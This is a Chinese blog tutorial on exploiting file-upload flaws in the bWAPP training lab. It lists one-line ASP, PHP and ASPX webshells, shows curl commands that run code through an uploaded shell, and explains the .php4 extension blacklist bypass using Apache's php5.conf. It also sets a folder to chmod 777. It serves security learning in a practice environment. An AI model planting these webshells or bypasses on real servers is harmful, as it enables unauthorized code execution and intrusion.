使用的平台是Bwapp

正常的安装完 bwapp ,在文件上传模块能够成功上传文件,但文件却不可以被保存,原因是images文件夹的权限不够,解决方法:

docker exec -it 你的dockerID /bin/bash  #进入容器的指令
cd app/
chmod 777 images

如图:

image-20221019170801818

一句话木马

什么是一句话木马?

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

不同语言的一句话木马

  1. asp一句话木马
<%execute(request("value"))%>
  1. php一句话木马
#php
<?php @eval($_POST[value]); ?>
#不用'<,>'的asp一句话木马:
<script language=php>@eval($_POST["value"]);</script>
  1. aspx一句话木马
<%@ Page Langeuage="Jscript"%>
<%eval(Request.Item['value'])%>
  1. 其他的一句话木马
<%eval request("value")%>
<%execute request("value")%>
<%exxecute(request("value"))%>

简单的文件上传漏洞,可以使用一句话木马获得到Webshell,进而获取更多的内容或权限。

可以使用curl中国菜刀蚁剑等工具继续接下来的操作。

比如,在终端使用curl即可webshell

curl -d "value=echo getcwd();" http://ip地址/上传的文件名
# 返回结果/app/images,说明脚本是可以运行的

文件上传漏洞初阶:后缀名绕过

以下1.*文件的内容均为 <?php@eval($_POST['flag']);?>

直接上传 php 文件,则

image-20221019165407855

修改后缀名后即可成功上传

image-20221019191201002

同样的,点击here,和 low等级下一样,没有回显,和上面使用一样的方法,即curl

curl -d "flag=getcwd();" http://127.0.0.1/images/1.php4
# 这样也是输出/app/images,说明 .php4 的文件和 .php文件的作用相同

如果继续修改文件后缀,直接改成.php30试一下,同样是上传成功,点击here访问,会发现有回显,(和上传 .txt 文件的结果一毛一样)内容正是上传的文件内容。

这是为什么呢? 那是因为 .php30文件被认为是普通的文件,不能被执行。

那是因为.php30没有对应的语言解析模块。

接着往下看......

文件后缀名绕过的底层原理

想要了解到为什么会出现这种情况,可以通过bash命令对该漏洞容器进行深度调试来了解。

# 前面修改images文件夹的权限时使用过
docker exec -it dockerID /bin/bash  # 进入到调试  ID可以通过docker ps获得

通过查看网络连接去查找该漏洞容器使用的Web服务器

netstat -antp | grep 80  # 查看80端口容器使用的Web服务器

image-20221019195254989

接下来去查看apache2的主要配置文件 ==> /etc/apache2/apache2.conf

cd /etc/apache2
vim apache2.conf    # 需要安装vim,或者直接用cat查看

image-20221019200200752

由此处可以知,该Web服务器加载了mod-enabled下的模块,进入查看,发现有很多

image-20221019200649631

查看php5.conf文件,看第一行的正则表达式,也就是说,可以解析php,php3,php5等文件(但是php文件却被加到了黑名单),而我们之前上传的php30不在这些范围内,就没有语言解释器去进行解释运行。

image-20221019200858046

这就是一些简单的原理。

Last modification:February 10, 2023
请我喝瓶冰阔落吧